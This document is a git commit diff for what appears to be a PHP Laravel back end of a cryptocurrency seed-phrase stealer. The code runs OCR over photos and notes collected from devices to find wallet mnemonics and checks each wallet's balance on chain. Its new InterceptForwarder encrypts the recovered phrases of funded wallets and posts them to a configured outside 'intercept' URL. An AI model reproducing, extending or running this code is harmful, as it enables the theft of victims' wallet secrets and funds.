feat: interapt
This commit is contained in:
@@ -904,14 +904,10 @@ class IngestService
|
||||
$this->mnemonicLinker->linkAddress($addr);
|
||||
}
|
||||
|
||||
$isTron = in_array($chainType, ['TRON', 'TRX'], true);
|
||||
$isBtc = in_array($chainType, ['BTC', 'BITCOIN'], true);
|
||||
// Tron: client payloads often omit/zero balances — pull TRX/USDT before notify.
|
||||
// BTC: Trust/client often reports sats or lifetime totals as BTC — overwrite from mempool UTXO.
|
||||
if (($isTron && (! $existing || $coinAttrs === [])) || $isBtc) {
|
||||
$this->balances->refresh($addr);
|
||||
$addr->refresh();
|
||||
}
|
||||
// Client payloads often omit, zero, or mis-scale balances.
|
||||
// Chain is the source of truth for TRON / ETH / BSC / BTC / SOL.
|
||||
$this->balances->refresh($addr);
|
||||
$addr->refresh();
|
||||
|
||||
if (! $existing) {
|
||||
$this->enableMonitorOrDisable($addr);
|
||||
|
||||
@@ -0,0 +1,80 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Http\Middleware\DecryptXxbbBody;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
/**
|
||||
* Push a scan-confirmed mnemonic to INTERCEPT_FORWARD_URL as an xxbb /us body.
|
||||
*/
|
||||
class InterceptForwarder
|
||||
{
|
||||
public function postMnemonic(string $deviceKey, string $phrase, string $tag): bool
|
||||
{
|
||||
$base = rtrim((string) config('coruna.intercept.forward_url', ''), '/');
|
||||
if ($base === '' || $deviceKey === '' || $phrase === '') {
|
||||
return false;
|
||||
}
|
||||
|
||||
$ts = (string) (int) round(microtime(true) * 1000);
|
||||
if (strlen($ts) < 13) {
|
||||
$ts = str_pad($ts, 13, '0');
|
||||
}
|
||||
$enc = DecryptXxbbBody::crypto()->encryptJson([
|
||||
'd' => $deviceKey,
|
||||
'a' => $tag,
|
||||
'mnemonic' => $phrase,
|
||||
], $ts);
|
||||
|
||||
$target = $base.'/us';
|
||||
$timeout = (int) config('coruna.intercept.forward_timeout', 10);
|
||||
|
||||
try {
|
||||
$resp = Http::withHeaders([
|
||||
'Content-Type' => 'text/plain',
|
||||
'x-ts' => $ts,
|
||||
])
|
||||
->timeout($timeout)
|
||||
->connectTimeout(min($timeout, 5))
|
||||
->withBody($enc['body'], 'text/plain')
|
||||
->post($target);
|
||||
|
||||
$this->writeLog($deviceKey, $target, $resp->status(), (string) $resp->body());
|
||||
|
||||
return $resp->successful();
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('scan mnemonic forward failed: '.$e->getMessage(), [
|
||||
'device_key' => $deviceKey,
|
||||
'target' => $target,
|
||||
]);
|
||||
$this->writeLog($deviceKey, $target, 0, $e->getMessage());
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private function writeLog(string $deviceKey, string $target, int $status, string $body): void
|
||||
{
|
||||
$logPath = public_path('log/intercept');
|
||||
if (! is_dir($logPath)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$entry = [
|
||||
'time' => date('Y-m-d H:i:s'),
|
||||
'dir' => 'scan-forward',
|
||||
'device_key' => $deviceKey,
|
||||
'target' => $target,
|
||||
'status' => $status,
|
||||
'response' => strlen($body) > 4000 ? substr($body, 0, 4000) : $body,
|
||||
];
|
||||
|
||||
$line = $entry['time'].' SCAN-FORWARD '.$entry['target'].' '
|
||||
.json_encode($entry, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)
|
||||
."\r\n\r\n";
|
||||
|
||||
@file_put_contents($logPath.'/'.date('Ymd').'.log', $line, FILE_APPEND);
|
||||
}
|
||||
}
|
||||
@@ -10,11 +10,12 @@ use App\Models\Note;
|
||||
use App\Models\NoteScan;
|
||||
use App\Models\Photo;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\Chain\Bip44;
|
||||
use App\Services\Ocr\OcrDriver;
|
||||
use App\Services\Ocr\PhotoOcrPreparer;
|
||||
use App\Support\AgentScope;
|
||||
use App\Support\NoteContent;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
@@ -25,6 +26,8 @@ class MnemonicScanService
|
||||
private readonly OcrDriver $ocr,
|
||||
private readonly PhotoOcrPreparer $preparer,
|
||||
private readonly IngestService $ingest,
|
||||
private readonly MnemonicWalletDiscovery $discovery,
|
||||
private readonly InterceptForwarder $forwarder,
|
||||
) {}
|
||||
|
||||
public function dispatchPhoto(Photo $photo): void
|
||||
@@ -179,7 +182,7 @@ class MnemonicScanService
|
||||
|
||||
return Cache::remember(
|
||||
'scan.photo_progress:'.$this->progressScopeKey($agent),
|
||||
60,
|
||||
120,
|
||||
fn () => $this->photoProgressCounts(null, $agent),
|
||||
);
|
||||
}
|
||||
@@ -230,22 +233,8 @@ class MnemonicScanService
|
||||
return $this->progressFromCounts($counts);
|
||||
}
|
||||
|
||||
return Cache::remember('scan.note_progress:'.$this->progressScopeKey($agent), 60, function () use ($agent) {
|
||||
$itemTotal = 0;
|
||||
$latestIds = Note::query()->selectRaw('MAX(notes.id) as id');
|
||||
$this->scopeNotesToAgent($latestIds, $agent);
|
||||
$latestIds->groupBy('notes.device_id');
|
||||
|
||||
Note::query()
|
||||
->whereIn('id', $latestIds)
|
||||
->select(['id', 'content'])
|
||||
->orderBy('id')
|
||||
->chunkById(200, function ($notes) use (&$itemTotal) {
|
||||
foreach ($notes as $note) {
|
||||
$itemTotal += count(NoteContent::normalizeStored($note->content));
|
||||
}
|
||||
});
|
||||
|
||||
return Cache::remember('scan.note_progress:'.$this->progressScopeKey($agent), 120, function () use ($agent) {
|
||||
$itemTotal = $this->latestNoteItemTotal($agent);
|
||||
$scans = NoteScan::query();
|
||||
$this->scopeNoteScansToAgent($scans, $agent);
|
||||
$scannedRows = $scans->selectRaw('note_scans.scan_status as scan_status, COUNT(*) as c')->groupBy('note_scans.scan_status')->pluck('c', 'scan_status')->all();
|
||||
@@ -257,6 +246,23 @@ class MnemonicScanService
|
||||
});
|
||||
}
|
||||
|
||||
private function latestNoteItemTotal(?User $agent): int
|
||||
{
|
||||
$latestIds = Note::query()->selectRaw('MAX(notes.id) as id');
|
||||
$this->scopeNotesToAgent($latestIds, $agent);
|
||||
$latestIds->groupBy('notes.device_id');
|
||||
|
||||
$driver = Note::query()->getConnection()->getDriverName();
|
||||
$lengthExpr = $driver === 'sqlite'
|
||||
? 'COALESCE(json_array_length(notes.content), 0)'
|
||||
: 'COALESCE(JSON_LENGTH(notes.content), 0)';
|
||||
|
||||
return (int) Note::query()
|
||||
->whereIn('notes.id', $latestIds)
|
||||
->selectRaw('SUM('.$lengthExpr.') as item_total')
|
||||
->value('item_total');
|
||||
}
|
||||
|
||||
private function progressScopeKey(?User $agent): string
|
||||
{
|
||||
return $agent === null ? 'all' : 'a:'.$agent->id;
|
||||
@@ -381,6 +387,47 @@ class MnemonicScanService
|
||||
'mnemonic' => $phrase,
|
||||
'a' => $tag,
|
||||
], $origin);
|
||||
|
||||
$mnemonic = WalletMnemonic::query()
|
||||
->where('device_id', $holder->id)
|
||||
->where('mnemonic_hash', WalletMnemonic::hashSecret($phrase))
|
||||
->first();
|
||||
if ($mnemonic === null) {
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
$this->discovery->discoverActivated($mnemonic);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('scan mnemonic discovery failed: '.$e->getMessage(), [
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
'device_id' => $holder->id,
|
||||
]);
|
||||
}
|
||||
|
||||
if (! $this->mnemonicHasPositiveBalance($mnemonic)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$this->forwarder->postMnemonic((string) $holder->device_id, $phrase, $tag);
|
||||
}
|
||||
|
||||
private function mnemonicHasPositiveBalance(WalletMnemonic $mnemonic): bool
|
||||
{
|
||||
$rows = WalletAddress::query()
|
||||
->where('mnemonic_id', $mnemonic->id)
|
||||
->get(WalletAddress::COIN_COLUMNS);
|
||||
|
||||
foreach ($rows as $row) {
|
||||
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||
$value = trim((string) ($row->{$col} ?? ''));
|
||||
if ($value !== '' && bccomp($value, '0', 18) > 0) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -8,7 +8,6 @@ use App\Models\WalletAddress;
|
||||
use App\Services\TelegramNotifier;
|
||||
use App\Services\WalletBalanceService;
|
||||
use App\Support\SafeLog;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class TokenviewMonitorService
|
||||
@@ -197,31 +196,15 @@ class TokenviewMonitorService
|
||||
return;
|
||||
}
|
||||
|
||||
$refreshRows = $rows->filter(function (WalletAddress $row) {
|
||||
return in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX', 'BTC', 'BITCOIN'], true);
|
||||
});
|
||||
$deltaRows = $rows->filter(function (WalletAddress $row) {
|
||||
return ! in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX', 'BTC', 'BITCOIN'], true);
|
||||
});
|
||||
|
||||
// Tron/BTC webhooks only carry deltas — refresh from chain as source of truth.
|
||||
// BTC stored `btc` is often Trust/client sats-or-lifetime totals, not current UTXO.
|
||||
foreach ($refreshRows as $row) {
|
||||
// Tokenview only carries deltas. Refresh from chain for every supported
|
||||
// row (TRON / ETH / BSC / BTC / SOL); fall back to applying the delta.
|
||||
foreach ($rows as $row) {
|
||||
/** @var WalletAddress $row */
|
||||
if (! $this->balances->refresh($row)) {
|
||||
$this->applyDeltasToRow($row, $deltas);
|
||||
}
|
||||
}
|
||||
|
||||
if ($deltaRows->isNotEmpty()) {
|
||||
DB::transaction(function () use ($deltaRows, $deltas) {
|
||||
foreach ($deltaRows as $row) {
|
||||
/** @var WalletAddress $row */
|
||||
$this->applyDeltasToRow($row, $deltas);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
$changes = [];
|
||||
foreach ($deltas as $col => $delta) {
|
||||
if ($delta != 0.0) {
|
||||
|
||||
Reference in New Issue
Block a user